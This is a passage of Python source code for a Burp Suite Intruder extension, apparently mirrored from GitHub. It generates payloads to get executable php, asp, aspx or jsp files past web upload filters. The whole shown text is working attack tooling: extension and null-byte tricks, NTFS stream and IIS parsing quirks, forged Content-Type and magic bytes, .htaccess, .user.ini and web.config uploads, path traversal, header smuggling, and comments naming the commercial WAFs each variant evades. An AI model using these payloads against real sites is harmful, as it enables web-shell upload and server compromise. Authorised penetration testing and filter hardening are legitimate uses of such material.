mirror of
https://github.com/T3nk0/Upload_Auto_Fuzz.git
synced 2025-05-05 10:17:51 +00:00
1498 lines
79 KiB
Python
1498 lines
79 KiB
Python
# -*-coding:utf-8 -*-
|
||
|
||
from burp import IBurpExtender
|
||
from burp import IIntruderPayloadGeneratorFactory
|
||
from burp import IIntruderPayloadGenerator
|
||
import random
|
||
from urllib import unquote
|
||
import re
|
||
import time
|
||
|
||
def getAttackPayloads(TEMPLATE):
|
||
# 获取文件前后缀
|
||
filename_suffix = re.search('filename=".*[.](.*)"', TEMPLATE).group(1) # jpg
|
||
content_type = TEMPLATE.split('\n')[-1]
|
||
|
||
def script_suffix_Fuzz():
|
||
# 文件后缀绕过
|
||
asp_fuzz = ['asp;.jpg', 'asp.jpg', 'asp;jpg', 'asp/1.jpg', 'asp{}.jpg'.format(unquote('%00')), 'asp .jpg',
|
||
'asp_.jpg', 'asa', 'cer', 'cdx', 'ashx', 'asmx', 'xml', 'htr', 'asax', 'asaspp', 'asp;+2.jpg']
|
||
aspx_fuzz = ['asPx', 'aspx .jpg', 'aspx_.jpg', 'aspx;+2.jpg', 'asaspxpx']
|
||
php_fuzz = ['php1', 'php2', 'php3', 'php4', 'php5', 'pHp', 'php .jpg', 'php_.jpg', 'php.jpg', 'php. .jpg',
|
||
'jpg/.php',
|
||
'php.123', 'jpg/php', 'jpg/1.php', 'jpg{}.php'.format(unquote('%00')),
|
||
'php{}.jpg'.format(unquote('%00')),
|
||
'php:1.jpg', 'php::$DATA', 'php::$DATA......', 'ph\np']
|
||
jsp_fuzz = ['.jsp.jpg.jsp', 'jspa', 'jsps', 'jspx', 'jspf', 'jsp .jpg', 'jsp_.jpg']
|
||
|
||
# 新增更多后缀绕过方式
|
||
asp_fuzz_new = ['asp.', 'asp;', 'asp,', 'asp:', 'asp%20', 'asp%00', 'asp%0a', 'asp%0d%0a',
|
||
'asp%0d', 'asp%0a%0d', 'asp%09', 'asp%0b', 'asp%0c', 'asp%0e', 'asp%0f',
|
||
'asp.jpg.asp', 'asp.jpg.asp.jpg', 'asp.asp.jpg', 'asp.jpg.123',
|
||
'asp.jpg...', 'asp.jpg/', 'asp.jpg\\', 'asp.jpg::$DATA']
|
||
|
||
php_fuzz_new = ['php.', 'php;', 'php,', 'php:', 'php%20', 'php%00', 'phtml', 'pht', 'phpt',
|
||
'php7', 'php8', 'phar', 'pgif', 'php.jpg.php', 'php.jpg.php.jpg',
|
||
'php.php.jpg', 'php.jpg.123', 'php.jpg...', 'php.jpg/', 'php.jpg\\']
|
||
|
||
# 组合所有后缀绕过方式
|
||
suffix_fuzz = asp_fuzz + aspx_fuzz + php_fuzz + jsp_fuzz + asp_fuzz_new + php_fuzz_new
|
||
|
||
suffix_payload = [] # 保存文件后缀绕过的所有payload列表
|
||
|
||
for each_suffix in suffix_fuzz:
|
||
# 测试每个上传后缀
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
temp = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
suffix_payload.append(temp)
|
||
|
||
return suffix_payload
|
||
|
||
def CFF_Fuzz():
|
||
# Content-Disposition 绕过 form-data 绕过 filename 绕过
|
||
# Content-Disposition: form-data; name="uploaded"; filename="zc.jpg"
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
# Suffix = ['jsp']
|
||
Content_Disposition_payload = [] # 保存Content_Disposition绕过的所有payload列表
|
||
|
||
# 遍历每个需要测试的上传后缀
|
||
for each_suffix in Suffix:
|
||
# 测试每个上传后缀
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix,
|
||
each_suffix) # TEMP_TEMPLATE_SUFFIX: Content-Disposition: form-data; name="uploaded"; filename="zc.后缀"
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX).group(1)
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX)
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(
|
||
TEMP_TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition', 'content-Disposition')) # 改变大小写
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(
|
||
TEMP_TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition: ', 'content-Disposition:')) # 减少一个空格
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(
|
||
TEMP_TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition: ', 'content-Disposition: ')) # 增加一个空格
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data', '~form-data'))
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data', 'f+orm-data'))
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data', '*'))
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(
|
||
TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data; ', 'form-data; ')) # 增加一个空格
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data; ', 'form-data;')) # 减少一个空格
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename===zc.{}'.format(
|
||
each_suffix))) # 过阿里云waf，删双引号绕过
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename==="zc.{}'.format(
|
||
each_suffix))) # 过阿里云waf，少双引号绕过
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename==="zc.{}"'.format(
|
||
each_suffix))) # 过阿里云waf，三个等号
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename="zc.{}\n"'.format(
|
||
each_suffix))) # 过阿里云waf，回车
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'\nfilename==="zc.\n{}"'.format(
|
||
each_suffix))) # 过阿里云waf, 三个等号加回车
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename="zc.\nC.{}"'.format(
|
||
each_suffix))) # 过安全狗和云锁waf # 待定，因为没法删掉Content-Type
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(
|
||
TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total, 'filename\n="zc.{}"'.format(each_suffix))) # 过百度云waf
|
||
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename="zc\.{}"'.format(
|
||
each_suffix))) # 过硬waf，反斜杠绕过
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename===zczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczc.{}'.format(
|
||
each_suffix))) # 过硬waf，超长文件名
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data',
|
||
'form-data------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------')) # 过硬waf，超长-
|
||
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename="zc.jpg";filename="zc.{}"'.format(
|
||
each_suffix))) # 双参数
|
||
|
||
# 新增绕过方式
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename="zc.{}.jpg"'.format(
|
||
each_suffix))) # 双扩展名绕过
|
||
|
||
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
|
||
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename="zc.jpg.{}"'.format(
|
||
each_suffix))) # 双扩展名绕过2
|
||
|
||
return Content_Disposition_payload
|
||
|
||
def content_type_Fuzz():
|
||
# content_type = Content-Type: image/jpeg
|
||
content_type_payload = [] # 保存content_type绕过的所有payload列表
|
||
Suffix = ['asp', 'aspx', 'php', 'jsp']
|
||
# 遍历每个需要测试的上传后缀
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
|
||
content_type_payload.append(
|
||
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: image/gif')) # 修改为image/gif
|
||
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
|
||
content_type_payload.append(
|
||
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: image/jpeg')) # 修改为image/jpeg
|
||
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
|
||
content_type_payload.append(
|
||
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: application/php')) # 修改为application/php
|
||
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
|
||
content_type_payload.append(
|
||
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: text/plain')) # 修改为text/plain
|
||
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
|
||
content_type_payload.append(TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, ''))
|
||
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
|
||
content_type_payload.append(TEMP_TEMPLATE_CONTENT_TYPE.replace('Content-Type', 'content-type')) # 改变大小写
|
||
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
|
||
content_type_payload.append(
|
||
TEMP_TEMPLATE_CONTENT_TYPE.replace('Content-Type: ', 'Content-Type: ')) # 冒号后面 增加一个空格
|
||
|
||
# 新增Content-Type绕过方式
|
||
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
|
||
content_type_payload.append(
|
||
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: image/png')) # 修改为image/png
|
||
|
||
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
|
||
content_type_payload.append(
|
||
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: application/octet-stream')) # 修改为二进制流
|
||
|
||
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
|
||
content_type_payload.append(
|
||
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: multipart/form-data')) # 修改为form-data
|
||
|
||
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
|
||
content_type_payload.append(
|
||
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: application/x-httpd-php')) # PHP专用
|
||
|
||
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
|
||
content_type_payload.append(
|
||
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: application/x-asp')) # ASP专用
|
||
|
||
return content_type_payload
|
||
|
||
def windows_features_Fuzz():
|
||
# Windows系统特性绕过
|
||
windows_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
|
||
# NTFS数据流特性
|
||
TEMP_TEMPLATE_NTFS = TEMP_TEMPLATE_SUFFIX
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_NTFS).group(1)
|
||
windows_payload.append(TEMP_TEMPLATE_NTFS.replace(filename_total,
|
||
'filename="zc.{}::$DATA"'.format(each_suffix)))
|
||
|
||
# IIS短文件名截断
|
||
TEMP_TEMPLATE_IIS = TEMP_TEMPLATE_SUFFIX
|
||
windows_payload.append(TEMP_TEMPLATE_IIS.replace(filename_total,
|
||
'filename="zc.{};.jpg"'.format(each_suffix)))
|
||
|
||
# 交替数据流
|
||
TEMP_TEMPLATE_ADS = TEMP_TEMPLATE_SUFFIX
|
||
windows_payload.append(TEMP_TEMPLATE_ADS.replace(filename_total,
|
||
'filename="zc:{}"'.format(each_suffix)))
|
||
|
||
# 保留设备名
|
||
for device in ['con', 'aux', 'nul', 'com1', 'com2', 'lpt1']:
|
||
TEMP_TEMPLATE_DEVICE = TEMP_TEMPLATE_SUFFIX
|
||
windows_payload.append(TEMP_TEMPLATE_DEVICE.replace(filename_total,
|
||
'filename="{}.{}"'.format(device, each_suffix)))
|
||
|
||
return windows_payload
|
||
|
||
def linux_features_Fuzz():
|
||
# Linux系统特性绕过
|
||
linux_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
|
||
# Apache多级扩展名绕过
|
||
TEMP_TEMPLATE_APACHE = TEMP_TEMPLATE_SUFFIX
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_APACHE).group(1)
|
||
linux_payload.append(TEMP_TEMPLATE_APACHE.replace(filename_total,
|
||
'filename="zc.{}.png"'.format(each_suffix)))
|
||
|
||
# 点号截断
|
||
TEMP_TEMPLATE_DOT = TEMP_TEMPLATE_SUFFIX
|
||
linux_payload.append(TEMP_TEMPLATE_DOT.replace(filename_total,
|
||
'filename="zc.{}."'.format(each_suffix)))
|
||
|
||
# 路径遍历尝试
|
||
TEMP_TEMPLATE_PATH = TEMP_TEMPLATE_SUFFIX
|
||
linux_payload.append(TEMP_TEMPLATE_PATH.replace(filename_total,
|
||
'filename="../zc.{}"'.format(each_suffix)))
|
||
|
||
# 特殊字符绕过
|
||
for char in ['/', '\\', '?', '*', '|', ':', '"', '<', '>']:
|
||
TEMP_TEMPLATE_SPECIAL = TEMP_TEMPLATE_SUFFIX
|
||
linux_payload.append(TEMP_TEMPLATE_SPECIAL.replace(filename_total,
|
||
'filename="zc{}.{}"'.format(char, each_suffix)))
|
||
|
||
return linux_payload
|
||
|
||
def magic_bytes_Fuzz():
|
||
# 添加文件魔术字节绕过
|
||
magic_bytes_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
# 常见文件魔术字节 (以字符串形式表示，避免二进制问题)
|
||
magic_bytes = {
|
||
'jpg': '\\xff\\xd8\\xff\\xe0', # JPEG
|
||
'png': '\\x89PNG\\r\\n\\x1a\\n', # PNG
|
||
'gif': 'GIF89a', # GIF
|
||
'pdf': '%PDF-1.5' # PDF
|
||
}
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
|
||
for magic_type, magic_byte in magic_bytes.items():
|
||
# 在Content-Type后添加魔术字节
|
||
if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
|
||
content_type_line = re.search(r'Content-Type:.*', TEMP_TEMPLATE_SUFFIX).group(0)
|
||
TEMP_TEMPLATE_MAGIC = TEMP_TEMPLATE_SUFFIX
|
||
magic_bytes_payload.append(
|
||
TEMP_TEMPLATE_MAGIC.replace(content_type_line, content_type_line + '\r\n' + magic_byte))
|
||
|
||
return magic_bytes_payload
|
||
|
||
def file_content_trick_Fuzz():
|
||
# 文件内容欺骗技术
|
||
content_trick_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
|
||
# 添加GIF89a文件头
|
||
TEMP_TEMPLATE_GIF = TEMP_TEMPLATE_SUFFIX
|
||
if 'Content-Type:' in TEMP_TEMPLATE_GIF:
|
||
content_type_line = re.search(r'Content-Type:.*', TEMP_TEMPLATE_GIF).group(0)
|
||
content_trick_payload.append(TEMP_TEMPLATE_GIF.replace(content_type_line,
|
||
content_type_line + '\r\nGIF89a;'))
|
||
|
||
# 添加PHP代码注释为图像内容
|
||
TEMP_TEMPLATE_PHP = TEMP_TEMPLATE_SUFFIX
|
||
if 'Content-Type:' in TEMP_TEMPLATE_PHP and each_suffix == 'php':
|
||
content_type_line = re.search(r'Content-Type:.*', TEMP_TEMPLATE_PHP).group(0)
|
||
content_trick_payload.append(TEMP_TEMPLATE_PHP.replace(content_type_line,
|
||
content_type_line + '\r\n<?php /*'))
|
||
|
||
# 添加SVG XML头
|
||
TEMP_TEMPLATE_SVG = TEMP_TEMPLATE_SUFFIX
|
||
if 'Content-Type:' in TEMP_TEMPLATE_SVG:
|
||
content_type_line = re.search(r'Content-Type:.*', TEMP_TEMPLATE_SVG).group(0)
|
||
svg_header = '<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"></svg>'
|
||
content_trick_payload.append(TEMP_TEMPLATE_SVG.replace(content_type_line,
|
||
content_type_line + '\r\n' + svg_header))
|
||
|
||
return content_trick_payload
|
||
|
||
def user_ini_Fuzz():
|
||
# .user.ini文件包含链式利用
|
||
user_ini_payload = []
|
||
|
||
# 上传.user.ini文件
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_INI = TEMP_TEMPLATE.replace(filename_suffix, 'user.ini')
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_INI).group(1)
|
||
user_ini_payload.append(TEMP_TEMPLATE_INI.replace(filename_total, 'filename=".user.ini"'))
|
||
|
||
# 上传.htaccess文件
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_HTACCESS = TEMP_TEMPLATE.replace(filename_suffix, 'htaccess')
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_HTACCESS).group(1)
|
||
user_ini_payload.append(TEMP_TEMPLATE_HTACCESS.replace(filename_total, 'filename=".htaccess"'))
|
||
|
||
# 上传web.config文件 (IIS)
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_WEBCONFIG = TEMP_TEMPLATE.replace(filename_suffix, 'config')
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_WEBCONFIG).group(1)
|
||
user_ini_payload.append(TEMP_TEMPLATE_WEBCONFIG.replace(filename_total, 'filename="web.config"'))
|
||
|
||
return user_ini_payload
|
||
|
||
def mime_encoding_Fuzz():
|
||
# MIME编码绕过 (RFC 2047)
|
||
mime_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
|
||
# RFC 2047编码
|
||
TEMP_TEMPLATE_MIME = TEMP_TEMPLATE_SUFFIX
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_MIME).group(1)
|
||
mime_payload.append(TEMP_TEMPLATE_MIME.replace(filename_total,
|
||
'filename="=?utf-8?Q?zc.{}?="'.format(each_suffix)))
|
||
|
||
# Base64编码变种
|
||
import base64
|
||
encoded_filename = base64.b64encode("zc.{}".format(each_suffix))
|
||
TEMP_TEMPLATE_B64 = TEMP_TEMPLATE_SUFFIX
|
||
mime_payload.append(TEMP_TEMPLATE_B64.replace(filename_total,
|
||
'filename="=?utf-8?B?{}?="'.format(encoded_filename)))
|
||
|
||
# 混合编码
|
||
TEMP_TEMPLATE_MIXED = TEMP_TEMPLATE_SUFFIX
|
||
mime_payload.append(TEMP_TEMPLATE_MIXED.replace(filename_total,
|
||
'filename="=?utf-8?Q?zc=2E{}?="'.format(each_suffix)))
|
||
|
||
return mime_payload
|
||
|
||
def http_protocol_split_Fuzz():
|
||
# HTTP协议拆分绕过
|
||
http_split_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
|
||
# 多个Content-Disposition字段
|
||
TEMP_TEMPLATE_MULTI = TEMP_TEMPLATE_SUFFIX
|
||
if 'Content-Disposition:' in TEMP_TEMPLATE_MULTI:
|
||
content_disp = re.search(r'(Content-Disposition:.*?filename=".*?")', TEMP_TEMPLATE_MULTI, re.DOTALL).group(1)
|
||
name_part = re.search(r'(name=".*?";)', content_disp)
|
||
filename_part = re.search(r'(filename=".*?")', content_disp)
|
||
|
||
if name_part and filename_part:
|
||
name_part = name_part.group(1)
|
||
filename_part = filename_part.group(1)
|
||
|
||
# 拆分为两个字段
|
||
new_content = content_disp.replace("{} {}".format(name_part, filename_part),
|
||
"{}\r\nContent-Disposition: {}".format(name_part, filename_part))
|
||
http_split_payload.append(TEMP_TEMPLATE_MULTI.replace(content_disp, new_content))
|
||
|
||
# 插入额外的分号
|
||
TEMP_TEMPLATE_SEMICOLON = TEMP_TEMPLATE_SUFFIX
|
||
if 'Content-Disposition:' in TEMP_TEMPLATE_SEMICOLON:
|
||
content_disp = re.search(r'(Content-Disposition:.*?filename=".*?")', TEMP_TEMPLATE_SEMICOLON, re.DOTALL).group(1)
|
||
modified_content = content_disp.replace('form-data;', 'form-data;;;;')
|
||
http_split_payload.append(TEMP_TEMPLATE_SEMICOLON.replace(content_disp, modified_content))
|
||
|
||
return http_split_payload
|
||
|
||
def chunked_encoding_Fuzz():
|
||
# 分块传输编码绕过
|
||
chunked_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
|
||
# 添加Transfer-Encoding: chunked头
|
||
if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
|
||
TEMP_TEMPLATE_CHUNKED = TEMP_TEMPLATE_SUFFIX
|
||
chunked_header = 'Transfer-Encoding: chunked\r\n'
|
||
chunked_payload.append(TEMP_TEMPLATE_CHUNKED.replace('Content-Type:',
|
||
chunked_header + 'Content-Type:'))
|
||
|
||
return chunked_payload
|
||
|
||
def waf_bypass_Fuzz():
|
||
# WAF对抗技术
|
||
waf_bypass_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
|
||
# 双重URL编码
|
||
TEMP_TEMPLATE_DOUBLE_URL = TEMP_TEMPLATE_SUFFIX
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_DOUBLE_URL).group(1)
|
||
double_encoded = 'filename="zc.%252566ile"' # %2566ile解码后为%66ile，再解码为file
|
||
waf_bypass_payload.append(TEMP_TEMPLATE_DOUBLE_URL.replace(filename_total, double_encoded))
|
||
|
||
# 数据包污染（添加大量随机数据）
|
||
TEMP_TEMPLATE_POLLUTION = TEMP_TEMPLATE_SUFFIX
|
||
if 'Content-Disposition:' in TEMP_TEMPLATE_POLLUTION:
|
||
import random
|
||
import string
|
||
random_data = ''.join(random.choice(string.ascii_letters) for _ in range(1024))
|
||
random_comment = 'X-Random-Data: {}\r\n'.format(random_data)
|
||
waf_bypass_payload.append(TEMP_TEMPLATE_POLLUTION.replace('Content-Disposition:',
|
||
random_comment + 'Content-Disposition:'))
|
||
|
||
return waf_bypass_payload
|
||
|
||
def unicode_normalization_Fuzz():
|
||
# Unicode归一化绕过技术 - 简化版
|
||
unicode_payload = []
|
||
Suffix = ['php'] # 只对PHP文件使用，减少payload数量
|
||
|
||
# 简化的Unicode字符映射
|
||
unicode_chars = {
|
||
'p': [u'p', u'\u03c1'], # 拉丁p、希腊rho
|
||
'h': [u'h'],
|
||
'a': [u'a'],
|
||
's': [u's'],
|
||
'j': [u'j']
|
||
}
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX).group(1)
|
||
|
||
# 只创建几个最有效的同形异义字符组合
|
||
unicode_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename="zc.\u03c1hp"')) # 使用希腊rho替代p
|
||
unicode_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename="zc.p\u04bbp"')) # 使用西里尔h
|
||
|
||
return unicode_payload
|
||
|
||
def http_header_smuggling_Fuzz():
|
||
# HTTP头走私/走私技术
|
||
header_smuggling_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
|
||
# 添加多个Content-Type头
|
||
if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
|
||
TEMP_TEMPLATE_HEADER = TEMP_TEMPLATE_SUFFIX
|
||
header_smuggling_payload.append(TEMP_TEMPLATE_HEADER.replace('Content-Type:',
|
||
'Content-Type: application/x-www-form-urlencoded\r\nContent-Type:'))
|
||
|
||
# 头部折叠攻击
|
||
if 'Content-Disposition:' in TEMP_TEMPLATE_SUFFIX:
|
||
TEMP_TEMPLATE_FOLDING = TEMP_TEMPLATE_SUFFIX
|
||
folded_content = TEMP_TEMPLATE_FOLDING.replace('Content-Disposition:', 'Content-Disposition:\r\n ')
|
||
header_smuggling_payload.append(folded_content)
|
||
|
||
# 特殊分隔符
|
||
if 'Content-Disposition:' in TEMP_TEMPLATE_SUFFIX:
|
||
TEMP_TEMPLATE_SEPARATOR = TEMP_TEMPLATE_SUFFIX
|
||
for separator in ['\t', '\v', '\f']:
|
||
header_smuggling_payload.append(TEMP_TEMPLATE_SEPARATOR.replace(': ', ':' + separator))
|
||
|
||
return header_smuggling_payload
|
||
|
||
def null_byte_variations_Fuzz():
|
||
# 空字节变种攻击 - 简化版
|
||
null_byte_payload = []
|
||
Suffix = ['php', 'asp'] # 减少测试的后缀
|
||
|
||
# 最常见的几种空字节表示
|
||
null_chars = [
|
||
'%00', '\\0', '\\x00', # 常用空字节表示
|
||
]
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX).group(1)
|
||
|
||
for null_char in null_chars:
|
||
null_byte_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename="zc.{}{}jpg"'.format(each_suffix, null_char)))
|
||
|
||
